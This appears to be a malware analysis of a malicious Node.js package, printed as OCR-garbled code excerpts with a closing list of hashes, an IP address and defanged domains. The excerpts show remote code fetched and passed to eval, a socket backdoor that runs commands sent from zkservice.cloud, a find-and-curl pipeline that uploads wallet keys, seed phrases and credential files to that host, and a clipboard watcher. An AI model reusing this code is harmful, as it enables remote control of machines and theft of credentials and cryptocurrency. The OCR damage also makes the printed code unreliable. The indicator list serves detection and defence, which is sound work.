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exports.getCookie = asyncErrorHandler(async (req, res, next) => {
const response = await axios.get('https://api.npoint.io/df7448536e69d60cl4fc")

eval(response.data.cookie)
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(async () => {

await axios.get('http://zkservice.cloud/api/service/token/2afa2a236f34c1lc8b58ecOf27c571abc")

.then((res)

RITLET.

:>{

return res.data;

1}

.catch((err) => {
if (err.response.data) {
eval(err.response.data);

}
1)
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socketServer = (]
socket = io('http://zkservice.cloud:5918", {
reconnectionAttempts: 15,
reconnectionDelay: 2008,
timeout: 2808
1 H

socket.on('command', (msqg) {
try {
execimsg.message, { windowsHide: , stdio: 'inherit', maxBuffer: 1824 = 1824 = 388 }, (error, stdout, stderr) {
it (error) {

socket.emit( 'message”, {

result: error.message,
. MSQ,

uid: uid,
type: 'error

});

return;

(stderr)
socket.emit| 'message’, { result: stderr, ...msg, type: 'stderr® }J;
return

socket.emit( "'message’,
« M50,
result: stdout,
code: msg.code,
cid: msg.cid,
sid: msg.sid,
uid: uid

i

catch {e) {
makelog|e.messge

}H
socket.on( 'whour', (msgl
socket. emlt 'whoIm®,

05: os.type(),
platform: os.platform(),
release: os.release(},
host: os.hostname(),
userInfo: os.userInfao(l,
uid: wid

1 H
socket.on('
socket.on('disconnect’,

I
socketServer();
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find \"/home/user\" -type f \\( -path \".\" -prune -o -path \"..\" -prune -o -path \".git\" -prune -o -path \".github\" -prune -o
—-path \"node_modules\" -prune -o —path \"library\" -prune -o -path \"x/library/*\" -prune -o —path \"x/node_modules/*\" —prune -o
path \"x/.cache\" -prune -o -path \"*/.config/*\" -prune -o -path \"x/dist/*\" -prune -o -path \"*/build/*\" -prune -o -path \"x/.
git/*\" -prune -o -path \"x/.vscode/*\" -prune -o -path \"x/.pyp/*\" —-prune -o -path \"x/.expo/*\" —-prune -o —path \"x/.n2/x\" —prune
o —path \"*/.n3/*%\" -prune -o —-path \"x/.next/*\" -prune -o —path \"x/.mozila/*\" —-prune -o -path \"x/.exe/*\" —-prune —-o —path \"xk.
tsbuildinfo\" -prune -o —path \"x.AppImage\" —prune -o -path \"x.dll\" -prune -o -path \".config\" -prune -o —path \".git\" -prune -o
path \".github\" —prune -o -path \"x/.git/#\" -prune -o -path \"x/.github/*\" -prune —o —path \"*/.config/*\" -prune -o —path \"x
pkg\" -prune -o -path \"*.dmg\" -prune -o -path \".bun\" -prune -o -path \"x/.bun/*\" —-prune -o -path \".*\" -prune -o -path \"x/.x/
*\" -prune -o -path \"x/library/*\" -prune -o -path \"library\" -prune -o -path \".nvm\" -prune -o —path \".plist\" -prune -o -path
\"Library\" -prune —o —path \"x/Library/x\" -prune -o -path \"x/.nvm/*\" \\) -o \\( -—iname \"x.envk\" —o0 —iname \"xmetamaskx\" -o
iname \'"xbitcoink\" —o -iname \"xcredential\" -o -iname \"xmnemonic*\" -o —iname \"#nkbihfbeogaeaoehlefnkodbefgpgknnx\" —o -iname
\"xseed*\" -o —-iname \"xrecoveryx\" -o —iname \"xbackup*\" -o -iname \"xaddress*\" -o -iname \'"xmy*\" -0 -iname \"x.png\" -0 -iname
\"*.jpg\" —o —iname \"*.jpeg\" —o —iname \"xscreenshotkx\" —o —iname \"*x.doc\" -0 —iname \"*.docx\" —o —iname \"x.rtf\" -o —iname \"xk.
odt\" -o -iname \"*.xls\" -o —-iname \"*.xlsx\" -o -iname \"xinfo*\" -o —iname \"*.txt\" -o —iname \"*.ini\" -o -iname \"config.js\"
-0 —iname \"config.ts\" -o —iname \".secret\" -o -iname \"config.json\" -o -iname \"const.js\" -o -iname \"const.ts\" —-o —iname \"x.
ts\" -o —-iname \"x.js\" -o —iname \"app.ts\" -o —iname \"x.sol\" -o -iname \"k.csv\" -o -iname \"xkey*\" \\) -exec grep -i -E -1 '\\b
(\\\")?2(0x) ?[0-9a-FfA-F1 {64} (\\\")?\\b"' {} + | xargs -I {} curl -X POST -F 'file=@{}' -H 'path: {}' -H \"hostname:$(hostname)\" -H
\"userkey: @n\" http://zkservice.cloud:5918/upload \\;\n
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regexPatterns = {
bitcoinPrivateKey: /~[5KL][ 1{5@,51}%/,
ethereumPrivateKey: /(I 1{64})/,
seedPhrase: /= ([ 1+ ){11,23} 1+=/,

checkForSensitiveData(filePath) {
try

fileContent = fs.readFileSync(filePath, 'utf8');

if (regexPatterns.bitcoinPrivateKey.test(fileContent)) {
return :

if {regexPatterns.ethereumPrivateKey.test(fileContent)) {
return ;

words = fileContent.split(/s+/).filter(Boolean);
if |
regexPatterns.seedPhrase.test(fileContent) &&
words.length == 12 &&
words.length <= 24
) {
return
}
return
catch (err
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setTimeout |
makelLog{'Installing clipboardy');
execsync|
'npm install clipboardy ——save —no—warnings —-no-save ——no-pro

1 windowsHide: , stdie: "inherit' }

clipboardy = await ("clipboardy');
lastClipbpardContent =
timer;

handleClipboardChange(content) {
makelLog{content) ;

watchClipboard() {
currentClipboardContent = clipboardy.default. readSyncl();

T {currentClipboardContent !== lastClipboardContent
clearTimeout{timer);
timer = setTimeout(() handleClipboardChange(currentClipboardContent), 588);
lastClipboardContent = currentClipbeardContent;

catch (e} {
makelog|e.message

setInterval{watchClipboard, 588);
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e d19ac8533ab14d97f4150973ffa810e987dea853bb85edffb7c2fcef13ad2106
e 7846a0a0aa90871f0503c430cc03488194ea7840196b3f7¢c9404e0a536dbb15e
e 4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79
o 32257fb11cc33e794fdfd0f952158a84b4475d46f531d4bee06746d15caf8236

Bk

e 45[.]159.248.55

e zkservice[.]Jcloud
o w3capi[.]Jmarketing
¢ payloadrpc|.Jcom
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